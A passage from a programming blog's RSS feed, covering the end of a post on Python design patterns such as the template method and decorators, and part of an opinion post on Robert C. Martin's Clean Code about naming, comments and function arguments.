style=&#34;color:#ff9f43&#34;&gt;@abc.abstractmethod&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_2&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@abc.abstractmethod&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_3&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ConcreteImplementationClass&lt;/span&gt;(TemplateAbstractBaseClass):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_1&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_2&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_3&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;pattern-decorator&#34;&gt;Pattern decorator&lt;/h3&gt;&#xA;&lt;p&gt;The decorator pattern allows us to add extra functionality to a function without modifying it directly. It is widely used in Django and other frameworks to restrict views according to permissions or to verify that a user is logged in. They work by creating a function that receives our function as an argument, inside this function we will create a wrapper, which gives the extra functionality to our function, our decorator will return that wrapper.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;requires_login&lt;/span&gt;(function):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;wrapper&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;is_logged_in():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; function()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;permission_denied&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authenticated user required&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; wrapper&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@requires_login&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;access_dashboard&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now any access to the access_dashboard function will check if the user is logged in, if he is the function will run normally, if he is not we will return an error message.&lt;/p&gt;&#xA;&lt;p&gt;You can see how the original django &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/es/2.2/_modules/django/contrib/auth/decorators/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;login_required&lt;/a&gt;&#xA; decorator was implemented in its documentation.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-to-learn-design-patterns&#34;&gt;Where to learn design patterns?&lt;/h2&gt;&#xA;&lt;p&gt;My recommendations for learning design patterns are as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/40wGv7i&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Head First Design Patterns by Eric Freeman and Kathy Sierra&lt;/a&gt;&#xA; (The most popular)&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3GwZ2tr&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Practical Python Design Patterns by Wessel Badenhorst&lt;/a&gt;&#xA; (I learned my stuff with this one because it is complete and simple).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;But I think there is enough information on this topic on the internet for you to read a whole book about it, besides, just giving you an idea of the most common patterns and their uses should be enough, you can go deeper into them as you need them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;source-code-for-design-patterns&#34;&gt;Source code for design patterns&lt;/h2&gt;&#xA;&lt;p&gt;The code for these examples is taken from the book &lt;em&gt;Practical Python Design Patterns&lt;/em&gt; by Wessel Badenhorst.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Design patterns are common solutions to common problems, represented by entities and the relationships between them in programming, among them you have probably already heard of some such as: singleton, MVC or MTV, observer, among others. But that explanation of design patterns is too technical for a first approach, let me simplify it below.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-are-design-patterns&#34;&gt;What are design patterns?&lt;/h2&gt;&#xA;&lt;p&gt;When we want to move from one place to another for short distances we use a land vehicle, these generally have 3 elements: wheels, a surface where we will place the object or person to transport and a medium that generates or transfers the energy necessary for the movement. The wheels generally go in contact with the ground and the propulsion method is attached to the wheels to make them rotate and allow the movement.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Uncle Bob Clean Code And The Clean Code Paradigms</title>
      <link>https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/</link>
      <pubDate>Sat, 16 May 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/</guid>
      
      <category>linux</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;There are two types of programmers, those who hate Clean Code and those who love it. This book sparks heated discussions on the internet; some consider it a bible that prophesies better times with clean and tidy code, others consider it an outdated manual written by a self-proclaimed pedantic dictator about how to write code. Well, to be honest, a bit of both. This post is my humble take on the book Clean Code by Robert C. Martin, the &lt;strong&gt;creator of the widely known acronym SOLID&lt;/strong&gt; and also known as the &lt;em&gt;uncle bob&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-clean-code-about&#34;&gt;What is Clean Code about?&lt;/h2&gt;&#xA;&lt;p&gt;Most of the programming books available on the market focus on teaching you the syntax of a programming language and some popular conventions. However, most of them do not go too much into how to organize the code, how to name variables or which parts of the code should have comments and which should not, how to determine the right amount of arguments a function should receive, or when to split a file in two, etc. This book aims to answer all these questions.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-code-meme.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-code-meme.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Clean code meme&#34; width=&#34;1600&#34; height=&#34;900&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;what-is-the-importance-of-using-clean-code&#34;&gt;What is the importance of using clean code?&lt;/h3&gt;&#xA;&lt;p&gt;Throughout the pages of Clean Code, &lt;em&gt;uncle bob&lt;/em&gt; takes us into the subject with stories of some &lt;strong&gt;companies that have had to close their doors because of badly written code&lt;/strong&gt;, yes, that&amp;rsquo;s how serious the consequences of unreadable code can be.  It all starts with readable code.&lt;/p&gt;&#xA;&lt;p&gt;Good &lt;em&gt;uncle Bob&lt;/em&gt;, states that programmers spend more time reading code than writing it. This should put in a new light the way we write our code, because we have the certainty that someone else will read it (even ourselves in the future), when writing the code we should always ask ourselves: is the objective pursued by my functions clear? is it understood why I chose a certain code flow instead of another? is the meaning of each variable clear?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/cleaner-code-to-avoid-interacting-with-people.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/cleaner-code-to-avoid-interacting-with-people.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Writing clean code so you don&amp;#39;t have to interact with people&#34; width=&#34;500&#34; height=&#34;714&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;how-to-name-variables-classes-and-functions-according-to-clean-code&#34;&gt;How to name variables, classes and functions according to Clean Code?&lt;/h3&gt;&#xA;&lt;p&gt;According to Clean code the code should be self-commenting through the naming of variables, functions, classes and so on. Hence the book&amp;rsquo;s reputation for abhorring comments and considering them a &lt;em&gt;necessary evil&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This concept is quite simple but it is still very common to see cryptic code that is difficult to understand.&lt;/p&gt;&#xA;&lt;p&gt;Consider this example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Cryptic code in Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;i&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;list&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [x &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; x &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;57&lt;/span&gt;)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;52&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    a &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sample(&lt;span style=&#34;color:#ff5c57&#34;&gt;list&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(a)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    i&lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Do you know what the code above does? Not at the mathematical level, but what it represents. How long did it take you to realize that it represented a crude example (and with lousy randomness) of a lottery-type draw? Could you have predicted what other types of functions you would need later or what would need to be corrected just by looking at the code?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Cleaner code in Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoDrawCounter &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoDrawsPerYear &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;52&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoNumbersToSelect &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoNumbers &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [x &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; x &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;57&lt;/span&gt;)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; lottoDrawCounter &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt; lottoDrawsPerYear:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    winningNumbers &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sample(lottoNumbers, lottoNumbersToSelect)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(winningNumbers)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lottoCounter&lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This code example provides much more information, although it is not perfect either.&lt;/p&gt;&#xA;&lt;p&gt;If you were to read the code above you would probably get several ideas about what could go wrong or right when executing the code, as well as ideas for modifying and improving it.&lt;/p&gt;&#xA;&lt;h3 id=&#34;is-commenting-the-code-wrong&#34;&gt;Is commenting the code wrong?&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The proper use of comments is to compensate for our failure to express ourselves in the code.&lt;/p&gt;&#xA;&lt;p&gt;Robert C. Martin&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;The author considers comments as something to be avoided if possible. Yes, I know that &lt;strong&gt;everywhere you have it drummed into your head that we should comment our code&lt;/strong&gt; and you may find it controversial that the controversial &lt;em&gt;uncle Bob&lt;/em&gt; believes that you should avoid writing comments.&lt;/p&gt;&#xA;&lt;p&gt;According to him, the reason is that the code should be self-explanatory, if you need comments you &lt;strong&gt;failed to write code that speaks for itself&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Look at the following code snippet:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Check if the user is elegible for a discount&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_confirmation &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;days_since_registration()&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;365&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;owns_a_credit_card:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    process_order()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now look this one:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;is_eligible_for_discount():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    process_order()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The comment in the first code snippet is totally unnecessary, the function name can replace it and it is perfectly understood what the goal is.&lt;/p&gt;&#xA;&lt;p&gt;Are there any situations that merit comments according to Uncle Bob? Yes, according to the author of Clean Code, there are &lt;strong&gt;very punctual&lt;/strong&gt; cases in which it is better to have a comment than none at all (as to warn consequences, EVERYTHING, declare intentions) but, from the point of view of our clean code messiah, they are rather exceptions to the rule.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-do-i-think-about-comments-in-code&#34;&gt;What do I think about comments in code?&lt;/h3&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t have such a rigid stance on this, I think it&amp;rsquo;s ok to write comments if they can reduce the time other developers spend trying to understand the code, even if sometimes it&amp;rsquo;s obvious.&lt;/p&gt;&#xA;&lt;p&gt;Comments should be used if they make life easier for others, even if you don&amp;rsquo;t need them.&lt;/p&gt;&#xA;&lt;p&gt;For example, if you use the Fisher-Yates algorithm to generate random numbers, I would put a small annotation to save a wikipedia search for the developer reading it, even if it&amp;rsquo;s &amp;ldquo;basic knowledge&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;d also add a &amp;ldquo;don&amp;rsquo;t forget to add the WHERE id=&amp;rdquo; in a DELETE clause, if I suspect an accident could happen in certain line of code.&lt;/p&gt;&#xA;&lt;p&gt;But make no mistake, I wouldn&amp;rsquo;t do things like this either.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# PLEASE DONT DONT DO THIS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Check if the product is available&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;is_product_available &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; check_if_product_available()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;how-many-arguments-should-a-function-have-according-to-clean-code&#34;&gt;How many arguments should a function have according to Clean Code?&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The ideal number of arguments for a function is zero. Then one, followed closely by two. Three arguments should be avoided whenever possible. More than three requires a very special justification&amp;hellip;.&lt;/p&gt;&#xA;&lt;p&gt;Robert C. Martin&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the chapter that discusses functions, &lt;em&gt;uncle bob&lt;/em&gt; emphasizes the need to keep the arguments a function receives to a minimum, furthermore he believes that any function that receives more than three arguments &lt;strong&gt;should not be used&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;From our clean code foreman&amp;rsquo;s point of view, arguments force you to require more information from a function than its name, as you must now understand how variables interact within the function&amp;rsquo;s logic, plus they are difficult to include in tests since you have to try different combinations of these to make sure you cover every instance of the function.&lt;/p&gt;&#xA;&lt;p&gt;Sounds logical doesn&amp;rsquo;t it? Well yes, but if you check books, videos, repositories and even in the official documentation of certain very mature technologies and used in world-class websites, one can see numerous functions with two, three and even four arguments.&lt;/p&gt;&#xA;&lt;p&gt;Example of express JS:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; express &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; require(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;express&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; require(&lt;span 